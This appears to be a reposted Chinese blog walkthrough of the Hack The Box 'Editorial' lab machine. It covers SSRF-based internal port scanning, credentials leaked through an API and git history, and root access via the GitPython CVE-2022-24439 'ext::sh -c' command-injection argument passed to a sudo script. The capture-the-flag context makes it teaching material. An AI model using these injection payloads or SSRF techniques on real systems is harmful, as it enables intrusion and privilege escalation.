Hack The Box-Editorial

2024-06-18 01:12
文章标签 box hack editorial

本文主要是介绍Hack The Box-Editorial,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

总体思路

SSRF->敏感信息泄露->CVE-2022-24439

信息收集&端口利用

nmap -sSVC editorial.htb

在这里插入图片描述

目标机器开放22、80和1027端口,这里先查看80端口

在这里插入图片描述

进去后是一个图书收集界面,对网站进行扫描

dirsearch -u http://editorial.htb

在这里插入图片描述

逐一访问

在这里插入图片描述

在这里插入图片描述

about界面没有什么利用点,upload界面中存在一个填写url和上传文件的地方

尝试上传一个revshell

在这里插入图片描述

点击preview,在最前端会显示一张失败的图片,打开它

在这里插入图片描述

发现后缀名会被删除并且文件名重命名,若尝试打开链接,会直接下载刚刚上传的文件

在这里插入图片描述

这条路暂时行不通,那就思考前面的url是否能够利用,这里肯定想到先包含本地

SSRF

在这里插入图片描述

输入url后点击preview,发现该端口显示的是一张本地图片,尝试爆破端口,看看是否有别的信息

在这里插入图片描述

发现在5000端口的长度和别的端口的不一样,访问之

在这里插入图片描述

发现5000端口会访问一个文件,文件内容中是若干个api地址,一个个查看后,在authors中发现了信息

http://127.0.0.1:5000/api/latest/metadata/messages/authors

在这里插入图片描述

template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.Your login credentials for our internal forum and authors site are:
Username: dev
Password: dev080217_devAPI!@
Please be sure to change your password as soon as possible for security purposes.Don't hesitate to reach out if you have any questions or ideas - we're always here to support you.Best regards, Editorial Tiempo Arriba Team.

文本中包含了dev用户的登录凭证dev/dev080217_devAPI!@,使用其登录到ssh

ssh dev@editorial.htb

在这里插入图片描述

查看当前用户是否有执行其他命令的权限

在这里插入图片描述

发现不存在命令执行,那就寻找敏感信息,发现当前目录下有一个apps文件夹,进去查看

在这里插入图片描述

继续进入.git

在这里插入图片描述

敏感信息泄露

经过寻找,在logs文件夹下有一个HEAD文件,查看它

在这里插入图片描述

我们可以使用git log来显示对存储库的所有提交的列表,这里查看dev用户被降级前的内容

git show 1e84a036b2f33c59e2390730699a488c65643d28commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500feat: create api to editorial info* It (will) contains internal info about the editorial, this enablefaster access to information.diff --git a/app_api/app.py b/app_api/app.py
new file mode 100644
index 0000000..61b786f
--- /dev/null
+++ b/app_api/app.py
@@ -0,0 +1,74 @@
+# API (in development).
+# * To retrieve info about editorial
+
+import json
+from flask import Flask, jsonify
+
+# -------------------------------
+# App configuration
+# -------------------------------
+app = Flask(__name__)
+
+# -------------------------------
+# Global Variables
+# -------------------------------
+api_route = "/api/latest/metadata"
+api_editorial_name = "Editorial Tiempo Arriba"
+api_editorial_email = "info@tiempoarriba.htb"
+
+# -------------------------------
+# API routes
+# -------------------------------
+# -- : home
+@app.route('/api', methods=['GET'])
+def index():
+    data_editorial = {
+        'version': [{
+            '1': {
+                'editorial': 'Editorial El Tiempo Por Arriba', 
+                'contact_email_1': 'soporte@tiempoarriba.oc',
+                'contact_email_2': 'info@tiempoarriba.oc',
+                'api_route': '/api/v1/metadata/'
+            }},
+            {
+            '1.1': {
+                'editorial': 'Ed Tiempo Arriba', 
+                'contact_email_1': 'soporte@tiempoarriba.oc',
+                'contact_email_2': 'info@tiempoarriba.oc',
+                'api_route': '/api/v1.1/metadata/'
+            }},
+            {
+            '1.2': {
+                'editorial': api_editorial_name, 
+                'contact_email_1': 'soporte@tiempoarriba.oc',
+                'contact_email_2': 'info@tiempoarriba.oc',
+                'api_route': f'/api/v1.2/metadata/'
+            }},
+            {
+            '2': {
+                'editorial': api_editorial_name, 
+                'contact_email': 'info@tiempoarriba.moc.oc',
+                'api_route': f'/api/v2/metadata/'
+            }},
+            {
+            '2.3': {
+                'editorial': api_editorial_name, 
+                'contact_email': api_editorial_email,
+                'api_route': f'{api_route}/'
+            }
+        }]
+    }
+    return jsonify(data_editorial)
+
+# -- : (development) mail message to new authors
+@app.route(api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+    return jsonify({
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.
Your login credentials for our internal forum and authors site are:
Username: prod
Password: 080217_Producti0n_2023!@
Please be sure to change your password as soon as possible for security purposes.Don't hesitate to reach out if you have any questions or ideas - we're always here to support you.Best regards, " + api_editorial_name + " Team."
+    }) # TODO: replace dev credentials when checks pass
+
+# -------------------------------
+# Start program
+# -------------------------------
+if __name__ == '__main__':
+    app.run(host='127.0.0.1', port=5001, debug=True)

在文件中能获取到prod的用户凭证prod/080217_Producti0n_2023!@,使用它登录到ssh

同样地,先查看其具有的权限

在这里插入图片描述

发现能够以root用户执行/opt/internal_apps/clone_changes/clone_prod_change.py脚本,先查看它的内容

#/opt/internal_apps/clone_changes/clone_prod_change.py#!/usr/bin/python3import os
import sys
from git import Repoos.chdir('/opt/internal_apps/clone_changes')url_to_clone = sys.argv[1]r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

代码中使用了git库,先看它的版本

pip3 list

在这里插入图片描述

CVE-2022-24439

版本为3.1.29,存在CVE-2022-24439

运行以下命令来获取root.txt

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c cat% /root/root.txt% >% /tmp/root"

在这里插入图片描述

这篇关于Hack The Box-Editorial的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1070893

相关文章

论文翻译:ICLR-2024 PROVING TEST SET CONTAMINATION IN BLACK BOX LANGUAGE MODELS

PROVING TEST SET CONTAMINATION IN BLACK BOX LANGUAGE MODELS https://openreview.net/forum?id=KS8mIvetg2 验证测试集污染在黑盒语言模型中 文章目录 验证测试集污染在黑盒语言模型中摘要1 引言 摘要 大型语言模型是在大量互联网数据上训练的,这引发了人们的担忧和猜测,即它们可能已

UTON HACK 4.0 黑客马拉松大赛在马来西亚引起巨大反响

自第四届UTON HACK黑客马拉松大赛开启报名以来,吸引了全世界范围内区块链技术精英的广泛参与,在东南亚地区特别是马来西亚引起了巨大反响。 近日,马来西亚主流媒体Delight Media Malaysia对本次黑客马拉松大赛的协办单位马来西亚何氏全球总商会、UM公司进行了专访。 前排左一起是何致呈、何德成、何伟贤、尼克及马克。 (Delight Media Malaysia摄) 马来

VS2012配置Opengl以及“无法解析的外部符号 __imp____glutInitWithExit@12,该符号在函数 _glutInit_ATEXIT_HACK@8 中被引用”问题

1、配置步骤 (1)首先下载glut相关文件,下载地址: http://download.csdn.net/detail/u013383042/9329101 (2)glut.h:头文件,将其复制到 D:\Program Files (x86)\Microsoft Visual Studio 11.0\VC\include\gl (原本没有gl文件夹,需要手动新建一个gl文件夹) (3)

Hack The Box-Infiltrator【更新中】

信息收集&端口利用 nmap -sSVC infiltrator.htbStarting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-02 09:17 CSTNmap scan report for infiltrator.htbHost is up (0.61s latency).Not shown: 987 filtered tcp por

CSS行元素的截断样式box-decoration-break属性,有点儿意思!

原文地址:原文连接 在CSS中,行元素默认情况下,行内元素不会独占一行,而是在一行内根据其内容的大小进行排列。行内元素的宽度和高度由其内容决定,不能直接设置宽度和高度。行内元素不能包含块级元素,只能包含其他行内元素或文本。行内元素可以设置水平方向的边距(margin)和内边距(padding),但不会影响到其他元素的布局。 常用行内元素:a、span、i、em、strong、img等。 一、

【数学】 HDU 1110 Equipment Box

WA了很多遍,很多遍。。。只要把输入改成double就对了。。无语凝噎。。。 #include <stdio.h>#include <iostream>#include <string>#include <cstring>#include <math.h>#include <cmath>using namespace std;#define PI 2 * asin(1.0

CSS3 文本效果(text-shadow,box-shadow,white-space等)

一 text-shadow text-shadow 属性是 CSS3 中用于为文本添加阴影效果的工具。它可以增强文本的可读性和视觉吸引力,提供丰富的视觉效果 1 语法 text-shadow: offset-x offset-y blur-radius color; offset-x:阴影相对于文本的水平偏移量。可以是正值(向右偏移)或负值(向左偏移)。offset-y:阴影相对于文本的

box-shadow属行

‌‌box-shadow‌是‌CSS3中的一个属性,用于在元素上创建外部或内部阴影效果。它允许开发者为元素添加一个或多个阴影,每个阴影通过距元素的‌X和Y偏移、‌模糊半径、‌扩散半径、‌颜色和‌不透明度值来指定。这个属性对于增强元素的视觉效果和立体感非常有用。 基本语法 box-shadow属性的基本语法如下: cssCopy Code box-shadow: h-shadow

css3 box-shadow 内阴影与外阴影

css3 box-shadow 内阴影与外阴影   1- box-shadow具体使用方法,语法:   E {box-shadow:inset x-offset y-offset blur-radius spread-radiuscolor} 换句说: 对象选择器 {text-shadow:投影方式 X轴偏移量 Y轴偏移量 阴影模糊半径 阴影扩展半径 阴影颜色}   取值:投放方式

图片生成box-shadow并下载

把图片生成由box-shadow拼接成的阴影组成的图片 html <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>图片生成阴影html</title>